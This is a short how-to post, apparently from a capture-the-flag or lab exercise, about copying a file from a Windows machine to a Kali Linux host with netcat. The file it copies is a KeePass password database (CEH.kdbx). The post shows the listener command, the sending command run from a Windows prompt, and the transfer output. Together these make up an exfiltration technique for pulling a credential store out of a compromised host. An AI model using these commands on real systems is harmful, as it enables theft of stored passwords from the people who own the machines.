Download File from windows machine to linux using netcat


Linux Machine where file to be downloaded

danger@kali:~$ nc -nlvp 4444 > CEH.kdbx
listening on [any] 4444 ...



Windows machine where file CEH.kdbx actually is.



c:\Users\kohsuke\Documents>nc -nv 10.10.15.140 4444 < CEH.kdbx
nc -nv 10.10.15.140 4444 < CEH.kdbx
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: Connected to 10.10.15.140:4444.
Ncat: 2846 bytes sent, 0 bytes received in 22.21 seconds.


danger@kali:~$ ls -la CEH.kdbx
-rw-r--r-- 1 danger danger 2846 Jun  9 16:40 CEH.kdbx




Reactions: